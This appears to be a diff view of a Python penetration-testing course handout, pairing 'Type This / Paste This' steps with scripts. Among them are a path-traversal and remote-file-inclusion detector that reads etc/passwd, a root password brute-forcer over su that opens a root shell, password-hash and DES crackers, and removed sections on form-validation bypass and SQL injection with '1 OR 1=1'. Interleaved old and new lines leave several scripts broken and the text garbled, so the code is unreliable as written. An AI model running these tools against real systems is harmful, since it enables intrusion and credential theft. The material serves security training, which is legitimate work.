2515 | We can use HTTP header information to test insecure web server configurations. In the following Python script, we are going to use try/except block to test insecure web server headers for number of URLs that are saved in a text file name websites.txt. | |
2516 | ---------------------------Type This----------------------------------- | |
2517 | - | if re.search("Hello world",source): ## SEARCH FOR TEXT IN SOURCE |
2517 | + | |
2518 | ||
2519 | ---------------------------Paste This---------------------------------- | |
2520 | - | print("\nScan Complete\n") ## DONE |
2520 | + | |
2521 | https://www.cnn.com | |
2522 | https://foxnews.com | |
2523 | https://phpapp.infosecaddicts.com/ | |
2524 | https://aspdotnetapp.infosecaddicts.com/ | |
2525 | https://dvws1.infosecaddicts.com/ | |
2526 | ----------------------------------------------------------------------- | |
2527 | ||
2528 | ||
2529 | ||
2530 | ||
2531 | ---------------------------Type This----------------------------------- | |
2532 | nano insecure_config_check.py | |
2533 | ||
2534 | ||
2535 | ---------------------------Paste This---------------------------------- | |
2536 | - | ################################################ |
2536 | + | |
2537 | - | # Python Penetration Testing—Application Layer # |
2537 | + | |
2538 | - | ################################################ |
2538 | + | # Reference: https://www.keycdn.com/blog/http-security-headers |
2539 | ||
2540 | import requests | |
2541 | urls = open("websites.txt", "r") | |
2542 | for url in urls: | |
2543 | url = url.strip() | |
2544 | req = requests.get(url) | |
2545 | print (url, 'report:') | |
2546 | try: | |
2547 | protection_xss = req.headers['X-XSS-Protection'] | |
2548 | if protection_xss != '1; mode=block': | |
2549 | print ('X-XSS-Protection not set properly, it may be possible:', protection_xss) | |
2550 | except: | |
2551 | print ('X-XSS-Protection not set, it may be possible') | |
2552 | try: | |
2553 | options_content_type = req.headers['X-Content-Type-Options'] | |
2554 | if options_content_type != 'nosniff': | |
2555 | print ('X-Content-Type-Options not set properly:', options_content_type) | |
2556 | except: | |
2557 | print ('X-Content-Type-Options not set') | |
2558 | try: | |
2559 | transport_security = req.headers['Strict-Transport-Security'] | |
2560 | except: | |
2561 | print ('HSTS header not set properly, Man in the middle attacks is possible') | |
2562 | try: | |
2563 | - | req = requests.request(method, 'Enter the URL’) |
2563 | + | |
2564 | print ('Content-Security-Policy set:', content_security) | |
2565 | except: | |
2566 | print ('Content-Security-Policy missing') | |
2567 | ||
2568 | ----------------------------------------------------------------------- | |
2569 | ||
2570 | ||
2571 | ---------------------------Type This----------------------------------- | |
2572 | python3 insecure_config_check.py | |
2573 | ----------------------------------------------------------------------- | |
2574 | ||
2575 | ||
2576 | ||
2577 | ||
2578 | ||
2579 | ||
2580 | ||
2581 | ||
2582 | ---------------------------Type This----------------------------------- | |
2583 | nano LFI-RFI.py | |
2584 | ||
2585 | ||
2586 | ---------------------------Paste This---------------------------------- | |
2587 | ||
2588 | #!/usr/bin/env python3 | |
2589 | print("\n### PHP LFI/RFI Detector ###") | |
2590 | ||
2591 | import urllib.request, urllib.error, urllib.parse,re,sys | |
2592 | ||
2593 | - | After running the above script for a particular web server, we will get 200 OK responses for a particular methodaccepted by the web server. We will get a 403 Forbidden response if the web server explicitly denies the method. Once we send the TRACE method for testing cross site tracing (XST), we will get 405 Not Allowed responses from the web server otherwise we will get the message ‘Cross Site Tracing(XST) is possible’. |
2593 | + | |
2594 | RFIVULN = "https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt?" | |
2595 | TravLimit = 12 | |
2596 | ||
2597 | print("==> Testing for LFI vulns..") | |
2598 | TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION | |
2599 | for x in range(1,TravLimit): ## ITERATE THROUGH THE LOOP | |
2600 | TARGET += "../" | |
2601 | try: | |
2602 | source = urllib.request.urlopen((TARGET+"etc/passwd")).read().decode() ## WEB REQUEST | |
2603 | except urllib.error.URLError as e: | |
2604 | print("$$$ We had an Error:",e) | |
2605 | sys.exit(0) | |
2606 | if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE | |
2607 | print("!! ==> LFI Found:",TARGET+"etc/passwd") | |
2608 | break ## BREAK LOOP WHEN VULN FOUND | |
2609 | ||
2610 | print("\n==> Testing for RFI vulns..") | |
2611 | TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION | |
2612 | try: | |
2613 | source = urllib.request.urlopen(TARGET).read().decode() ## WEB REQUEST | |
2614 | except urllib.error.URLError as e: | |
2615 | print("$$$ We had an Error:",e) | |
2616 | sys.exit(0) | |
2617 | if re.search("Hello world",source): ## SEARCH FOR TEXT IN SOURCE | |
2618 | print("!! => RFI Found:",TARGET) | |
2619 | ||
2620 | print("\nScan Complete\n") ## DONE | |
2621 | ---------------------------------------------------------------------- | |
2622 | ||
2623 | ||
2624 | ||
2625 | ||
2626 | ---------------------------Type This----------------------------------- | |
2627 | python3 LFI-RFI.py | |
2628 | ----------------------------------------------------------------------- | |
2629 | ||
2630 | ||
2631 | ||
2632 | ||
2633 | ||
2634 | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | |
2635 | ||
2636 | ||
2637 | ||
2638 | ########################################### | |
2639 | ----------- ############### # Day 5: Password cracking and Forensics ############### ----------- | |
2640 | ########################################### | |
2641 | ||
2642 | ||
2643 | ---------------------------Type This----------------------------------- | |
2644 | ||
2645 | nano list.txt | |
2646 | ||
2647 | ---------------------------Paste This----------------------------------- | |
2648 | ||
2649 | hello | |
2650 | goodbye | |
2651 | red | |
2652 | blue | |
2653 | yourname | |
2654 | tim | |
2655 | bob | |
2656 | joe | |
2657 | ||
2658 | ----------------------------------------------------------------------- | |
2659 | ||
2660 | ||
2661 | ||
2662 | ||
2663 | ||
2664 | ||
2665 | ---------------------------Type This----------------------------------- | |
2666 | ||
2667 | nano rootbrute.py | |
2668 | ||
2669 | ---------------------------Paste This----------------------------------- | |
2670 | ||
2671 | #!/usr/bin/env python3 | |
2672 | ||
2673 | import sys | |
2674 | try: | |
2675 | import pexpect | |
2676 | except(ImportError): | |
2677 | print("\nYou need the pexpect module.") | |
2678 | print("http://www.noah.org/wiki/Pexpect\n") | |
2679 | sys.exit(1) | |
2680 | ||
2681 | # Change this if needed. | |
2682 | # LOGIN_ERROR = 'su: incorrect password' | |
2683 | LOGIN_ERROR = "su: Authentication failure" | |
2684 | ||
2685 | ||
2686 | def brute(word): | |
2687 | print("Trying:", word) | |
2688 | child = pexpect.spawn('/bin/su') | |
2689 | child.expect('Password: '.encode("utf-8")) | |
2690 | child.sendline(word) | |
2691 | - | #!/usr/bin/eve python3 |
2691 | + | i = child.expect(['.+\s#\s', LOGIN_ERROR, pexpect.TIMEOUT], timeout=3) |
2692 | if i == 1: | |
2693 | print("Incorrect Password") | |
2694 | ||
2695 | if i == 2: | |
2696 | print("\n\t[!] Root Password:", word, i) | |
2697 | child.sendline('id') | |
2698 | print(child.before) | |
2699 | child.interact() | |
2700 | ||
2701 | ||
2702 | if len(sys.argv) != 2: | |
2703 | print("\nUsage : ./rootbrute.py <wordlist>") | |
2704 | print("Eg: ./rootbrute.py words.txt\n") | |
2705 | sys.exit(1) | |
2706 | ||
2707 | try: | |
2708 | words = open(sys.argv[1], "r").readlines() | |
2709 | except(IOError): | |
2710 | print("\nError: Check your wordlist path\n") | |
2711 | sys.exit(1) | |
2712 | ||
2713 | print("\n[+] Loaded:", len(words), "words") | |
2714 | print("[+] BruteForcing...\n") | |
2715 | for word in words: | |
2716 | brute(word.replace("\n", "")) | |
2717 | ----------------------------------------------------------------------- | |
2718 | ||
2719 | ||
2720 | References you might find helpful: | |
2721 | http://stackoverflow.com/questions/15026536/looping-over-a-some-ips-from-a-file-in-python | |
2722 | ||
2723 | ||
2724 | ---------------------------Type This----------------------------------- | |
2725 | python3 rootbrute.py list.txt | |
2726 | ----------------------------------------------------------------------- | |
2727 | ||
2728 | ||
2729 | - | # Footprinting of a Web Application # |
2729 | + | |
2730 | ||
2731 | ||
2732 | - | Methods for Footprinting of a Web Application |
2732 | + | |
2733 | ||
2734 | ||
2735 | - | Gathering information using parser BeautifulSoup |
2735 | + | |
2736 | ||
2737 | ||
2738 | - | Suppose we want to collect all the hyperlinks from a web page; we can make use of a parser called BeautifulSoup.The parser is a Python library for pulling data out of HTML and XML files. It can be used with urlib because it needs an input (document or url) to create a soup object and it can’t fetch web page by itself. |
2738 | + | nano md5crack.py |
2739 | ||
2740 | - | To begin with, let us import the necessary packages. We will import urlib and BeautifulSoup. Remember before importing BeautifulSoup, we need to install it. |
2740 | + | |
2741 | ---------------------------Paste This----------------------------------- | |
2742 | #!/usr/bin/env python3 | |
2743 | - | apt-get install python3-bs4 <-- This is already installed. You don't have to do this step |
2743 | + | |
2744 | import hashlib | |
2745 | import sys | |
2746 | ||
2747 | if len(sys.argv) != 3: | |
2748 | - | import urllib |
2748 | + | |
2749 | - | from bs4 import BeautifulSoup |
2749 | + | |
2750 | ||
2751 | pw = sys.argv[1] | |
2752 | - | The Python script given below will gather the title of web page andhyperlinks: |
2752 | + | |
2753 | try: | |
2754 | - | Now, we need a variable, which can store the URL of the website. Here, we will use avariable named ‘url’. We will also use thepage.read()function that can store the web page and assign the web page to the variable html_page. |
2754 | + | words = open(wordlist, "r") |
2755 | except(IOError): | |
2756 | print("Error: Check your wordlist path\n") | |
2757 | sys.exit(1) | |
2758 | - | from urllib.request import urlopen |
2758 | + | |
2759 | print("\n", len(words), "words loaded...") | |
2760 | - | url = 'http://www.python.org' |
2760 | + | |
2761 | - | file = urlopen(url) |
2761 | + | |
2762 | - | html_page = file.read() |
2762 | + | hash = hashlib.md5() |
2763 | hash.update(word[:-1].encode('utf-8')) | |
2764 | value = hash.hexdigest() | |
2765 | - | The html_page will be assigned as an input to create soup object. |
2765 | + | |
2766 | for (key, value) in hashes.items(): | |
2767 | if pw == value: | |
2768 | - | soup_object = BeautifulSoup(html_page) |
2768 | + | print("Password is:", key, "\n") |
2769 | ----------------------------------------------------------------------- | |
2770 | ||
2771 | - | Following two lines will print the title name with tags and without tags respectively. |
2771 | + | |
2772 | ||
2773 | ||
2774 | - | print(soup_object.title) |
2774 | + | |
2775 | - | print(soup_object.title.text) |
2775 | + | |
2776 | ||
2777 | ||
2778 | - | The line of code shown below will save all the hyperlinks. |
2778 | + | |
2779 | ---------------------------Type This----------------------------------- | |
2780 | python3 md5crack.py 8ff32489f92f33416694be8fdc2d4c22 list.txt | |
2781 | - | for link in soup_object.find_all('a'): |
2781 | + | ----------------------------------------------------------------------- |
2782 | - | print(link.get('href')) |
2782 | + | |
2783 | ||
2784 | ||
2785 | ||
2786 | ||
2787 | ####### Challenge ######## | |
2788 | - | *** Full example code: *** |
2788 | + | I will buy lunch (a nice lunch), for the person that can explain how the htcrack.py script works. |
2789 | ||
2790 | Teamwork makes the dreamwork. Google is your friend. | |
2791 | ####### Challenge ######## | |
2792 | - | import urllib |
2792 | + | |
2793 | ||
2794 | - | from bs4 import BeautifulSoup |
2794 | + | |
2795 | ---------------------------Type This----------------------------------- | |
2796 | - | from urllib.request import urlopen |
2796 | + | |
2797 | htpasswd -nd yourname | |
2798 | - | url = 'http://www.python.org' |
2798 | + | - enter yourname as the password |
2799 | - | file = urlopen(url) |
2799 | + | |
2800 | - | html_page = file.read() |
2800 | + | |
2801 | - | print(html_page) |
2801 | + | |
2802 | ||
2803 | - | soup_object= BeautifulSoup(html_page) |
2803 | + | nano htcrack.py |
2804 | ||
2805 | ---------------------------Paste This----------------------------------- | |
2806 | - | print(soup_object.title) |
2806 | + | |
2807 | - | print(soup_object.title.text) |
2807 | + | import crypt |
2808 | import sys | |
2809 | ||
2810 | - | for link in soup_object.find_all('a'): |
2810 | + | |
2811 | - | print(link.get('href')) |
2811 | + | |
2812 | print("ex: ./htcrack.py user:62P1DYLgPe5S6 [path to wordlist]") | |
2813 | sys.exit(1) | |
2814 | ||
2815 | pw = sys.argv[1].split(":", 1) | |
2816 | ||
2817 | - | # Banner grabbing # |
2817 | + | |
2818 | words = open(sys.argv[2], "r") | |
2819 | except(IOError): | |
2820 | print("Error: Check your wordlist path\n") | |
2821 | - | The following Python script helps grab the banner using socket programming: |
2821 | + | |
2822 | ||
2823 | - | ------------------------------------------------------------------------------ |
2823 | + | |
2824 | print("\n-d3hydr8[at]gmail[dot]com htcrack v[1.0]-") | |
2825 | print(" - http://darkcode.ath.cx -") | |
2826 | - | s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.htons(0x0800)) |
2826 | + | print("\n", len(wds), "words loaded...") |
2827 | ||
2828 | - | host = input("Enter the host name: ") |
2828 | + | |
2829 | - | port = int(input("Enter Port: ")) |
2829 | + | if crypt.crypt(w[:-1], pw[1][:2]) == pw[1]: |
2830 | print("\nCracked:", pw[0] + ":" + w, "\n") | |
2831 | ----------------------------------------------------------------------- | |
2832 | - | # host = '192.168.1.54' |
2832 | + | |
2833 | - | # port = 22 |
2833 | + | |
2834 | ||
2835 | - | s.connect((host, port)) |
2835 | + | ---------------------------Type This----------------------------------- |
2836 | python3 htcrack.py joe:7XsJIbCFzqg/o list.txt | |
2837 | ----------------------------------------------------------------------- | |
2838 | - | s.send(b'GET HTTP/1.1 \r\n') |
2838 | + | |
2839 | - | ret = s.recv(1024) |
2839 | + | |
2840 | - | print('[+]{}'.format(ret)) |
2840 | + | |
2841 | - | except Exception as e: |
2841 | + | |
2842 | - | print('[-] Not information grabbed: {}'.format(e)) |
2842 | + | |
2843 | ||
2844 | nano DES-Bruteforce.py | |
2845 | - | After running the above script, we will get similar kind of information about headers as we got from the Python script of footprinting of HTTP headers in the previous section. |
2845 | + | |
2846 | ---------------------------Paste This----------------------------------- | |
2847 | import base64 | |
2848 | - | ################################################### |
2848 | + | from Crypto.Cipher import DES |
2849 | - | # Server-side Validation & Client-side Validation # |
2849 | + | THRESH = 0.9 |
2850 | - | ################################################### |
2850 | + | keyFile = open("keys.txt") |
2851 | keys = keyFile.readlines() | |
2852 | ciph = base64.decodebytes(b'ESzjTnGMRFnfVOJwQfqtyXOI8yzAatioyufiSdE1dx02McNkZ2IvBg==\n') | |
2853 | - | ####################################### |
2853 | + | |
2854 | - | # Python Module for Validation Bypass # |
2854 | + | for key in keys: |
2855 | - | ####################################### |
2855 | + | obj = DES.new(key[0:8].encode("utf-8"), DES.MODE_ECB) |
2856 | decodedStr = str(obj.decrypt(ciph)) | |
2857 | ||
2858 | - | The Python module that we are going to useis mechanize. Itis a Python web browser, whichis providing the facility of obtaining web forms in a web page and facilitates the submission of input values too. With the help of mechanize,we can bypass the validation and temper client-side parameters. However,before importing it in our Python script,we need to install it by executing the following command: |
2858 | + | foundLetters = 0 |
2859 | for eachChar in decodedStr: | |
2860 | # print(THRESH) | |
2861 | - | pip3 install mechanize <-- This is already installed. You don't have to do this step |
2861 | + | if eachChar.isalpha() or eachChar.isdigit() or eachChar.isspace(): |
2862 | foundLetters = foundLetters + 1 | |
2863 | # print(float(foundLetters) / float(len(decodedStr))) | |
2864 | if (float(foundLetters) / float(len(decodedStr)) > THRESH): | |
2865 | print("DES(ciphertext," + key[0:8] + ")=", obj.decrypt(ciph)) | |
2866 | - | Following is a Python script, which uses mechanize to bypass the validation of a web form using POST method to pass the parameter. The web form can be taken from the link https://www.tutorialspoint.com/php/php_validation_example.htm and can be used in any dummy website of your choice. |
2866 | + | |
2867 | ||
2868 | - | To begin with, let us import the mechanize browser: |
2868 | + | |
2869 | ||
2870 | ||
2871 | - | ---------------------- |
2871 | + | ---------------------------Type This----------------------------------- |
2872 | - | import mechanize |
2872 | + | python3 DES-Bruteforce.py |
2873 | - | ---------------------- |
2873 | + | |
2874 | ||
2875 | - | Now, we will create an object named brwsr of the mechanize browser: |
2875 | + | |
2876 | ||
2877 | ||
2878 | - | brwsr = mechanize.Browser() |
2878 | + | |
2879 | ---------------------------Type This----------------------------------- | |
2880 | ||
2881 | - | The next line of code shows that the user agent is not a robot |
2881 | + | nano extract-geo-location_from_image.py |
2882 | ||
2883 | - | -------------------------------- |
2883 | + | |
2884 | - | brwsr.set_handle_robots( False ) |
2884 | + | |
2885 | - | -------------------------------- |
2885 | + | |
2886 | from PIL import Image | |
2887 | - | Now, we need to provide the url of our dummy website containing the web form on which we need to bypass validation. |
2887 | + | from PIL.ExifTags import TAGS |
2888 | ||
2889 | for root, dir, files in os.walk(str(sys.argv[1])): | |
2890 | - | url = input("Enter URL ") |
2890 | + | for fp in files: |
2891 | if ".JPG" in fp.upper(): | |
2892 | # open a file and extract exif | |
2893 | - | Now, following lines will set some parenters to true. |
2893 | + | fn = root + "/" + fp |
2894 | try: | |
2895 | - | ----------------------------------- |
2895 | + | i = Image.open(fn) |
2896 | - | brwsr.set_handle_equiv(True) |
2896 | + | info = i._getexif() |
2897 | - | brwsr.set_handle_gzip(True) |
2897 | + | exif = {} |
2898 | - | brwsr.set_handle_redirect(True) |
2898 | + | for tag, value in info.items(): |
2899 | - | brwsr.set_handle_referer(True) |
2899 | + | decoded = TAGS.get(tag, tag) |
2900 | - | ---------------------------------- |
2900 | + | exif[decoded] = value |
2901 | # from the exif data, extract gps | |
2902 | exifGPS = exif['GPSInfo'] | |
2903 | - | Next it will open the web page and print the web form on that page. |
2903 | + | latData = exifGPS[2] |
2904 | lonData = exifGPS[4] | |
2905 | # calculate the lat / long | |
2906 | - | brwsr.open(url) |
2906 | + | latDeg = latData[0][0] / float(latData[0][1]) |
2907 | - | for form in brwsr.forms(): |
2907 | + | latMin = latData[1][0] / float(latData[1][1]) |
2908 | - | print(form) |
2908 | + | latSec = latData[2][0] / float(latData[2][1]) |
2909 | lonDeg = lonData[0][0] / float(lonData[0][1]) | |
2910 | lonMin = lonData[1][0] / float(lonData[1][1]) | |
2911 | - | Next line of codes will bypass the validations on the given fields. |
2911 | + | lonSec = lonData[2][0] / float(lonData[2][1]) |
2912 | # correct the lat/lon based on N/E/W/S | |
2913 | - | ------------------------------------ |
2913 | + | Lat = (latDeg + (latMin + latSec / 60.0) / 60.0) |
2914 | - | brwsr.select_form(nr=0) |
2914 | + | if exifGPS[1] == 'S': |
2915 | - | brwsr.form['name'] = '' |
2915 | + | Lat = Lat * -1 |
2916 | - | brwsr.form['gender'] = '' |
2916 | + | Lon = (lonDeg + (lonMin + lonSec / 60.0) / 60.0) |
2917 | - | brwsr.submit() |
2917 | + | if exifGPS[3] == 'W': |
2918 | - | ------------------------------------ |
2918 | + | Lon = Lon * -1 |
2919 | # print file | |
2920 | - | The last part of the script can be changed according to the fields of web form on which we want to bypass validation. Here in the above script, we have takentwo fields —‘name’ and ‘gender’ which cannot be left blank (you can see in the coding of web form) but this script will bypass that validation. |
2920 | + | msg = fn + " located at " + str(Lat) + "," + str(Lon) |
2921 | print(msg) | |
2922 | except(): | |
2923 | - | ################################################ |
2923 | + | pass |
2924 | - | # Python Penetration Testing — SQLi Web Attack # |
2924 | + | |
2925 | - | ################################################ |
2925 | + | |
2926 | ||
2927 | ---------------------------Type This----------------------------------- | |
2928 | python3 extract-geo-location_from_image.py | |
2929 | - | The attack can be categorize into the following two types: |
2929 | + | |
2930 | ||
2931 | - | - In-band SQL injection (Simple SQLi) |
2931 | + | |
2932 | - | - Inferential SQL injection (Blind SQLi) |
2932 | + | |
2933 | ||
2934 | ||
2935 | - | All types of SQLi can be implemented by manipulating input data to the application. In the following examples, we are writing a Python script to inject attack vectors to the application and analyze the output to verify the possibility of the attack. Here, we are going to use python module named mechanize, which gives the facility of obtaining web forms in a web page and facilitates the submission of input values too. We have also used this module for client-side validation. |
2935 | + | |
2936 | ---------------------------Type This----------------------------------- | |
2937 | ||
2938 | - | The following Python script helps submit forms and analyze the response using mechanize: |
2938 | + | nano metadata_extraction_pdf.py |
2939 | ||
2940 | ---------------------------Paste This----------------------------------- | |
2941 | - | First of all we need to import the mechanize module. |
2941 | + | import warnings |
2942 | import sys | |
2943 | - | ----------------------- |
2943 | + | |
2944 | - | import mechanize |
2944 | + | import string |
2945 | - | ----------------------- |
2945 | + | from PyPDF2 import PdfFileWriter, PdfFileReader |
2946 | warnings.filterwarnings("ignore") | |
2947 | - | Now, provide the name of the URL for obtaining the response after submitting the form. |
2947 | + | |
2948 | for root, dir, files in os.walk(str(sys.argv[1])): | |
2949 | for fp in files: | |
2950 | - | url = input("Enter the full url") |
2950 | + | if ".pdf" in fp: |
2951 | fn = root + "/" + fp | |
2952 | ||
2953 | - | The following line of codes will open the url. |
2953 | + | try: |
2954 | ||
2955 | - | ----------------------------------- |
2955 | + | pdfFile = PdfFileReader(open(fn, "rb")) |
2956 | - | request = mechanize.Browser() |
2956 | + | # print("title = %s" % (pdfFile.getDocumentInfo().title)) |
2957 | - | request.open(url) |
2957 | + | title = pdfFile.getDocumentInfo().title#.upper() |
2958 | - | ----------------------------------- |
2958 | + | author = pdfFile.getDocumentInfo().author#.upper() |
2959 | pages = pdfFile.getNumPages() | |
2960 | - | Now, we need to select the form. |
2960 | + | print() |
2961 | ||
2962 | if title is not None: | |
2963 | - | request.select_form(nr=0) |
2963 | + | print("The title of the PDF is: ", title) |
2964 | if title is None: | |
2965 | print("The PDF has no title") | |
2966 | - | Here,we will setthe column name ‘id’. |
2966 | + | if author is not None: |
2967 | print("The autor of the PDF is: ", author) | |
2968 | if author is None: | |
2969 | - | request["id"] = "1 OR 1=1" |
2969 | + | print("TThe PDF has no author") |
2970 | if pages is not None: | |
2971 | print("The total pages of the PDF is: ", pages) | |
2972 | - | Now, we need to submit the form |
2972 | + | if pages is None: |
2973 | print("The PDF has no pages") | |
2974 | except(): | |
2975 | - | response = request.submit() |
2975 | + | pass |
2976 | - | content = response.read() |
2976 | + | |
2977 | - | print(content) |
2977 | + | |
2978 | - | -------------------------------- |
2978 | + | |
2979 | ---------------------------Type This----------------------------------- | |
2980 | - | The above script will print the response for the POST request. We have submitted an attack vector to break the SQL query and print all the data in the table instead of one row. All the attack vectors will be saved in a text file say vectors.txt. Now, the Python script given below will get those attack vectors from the file and send them to the server one by one. It will also save the output to a file. |
2980 | + | python3 metadata_extraction_pdf.py |
2981 | ----------------------------------------------------------------------- |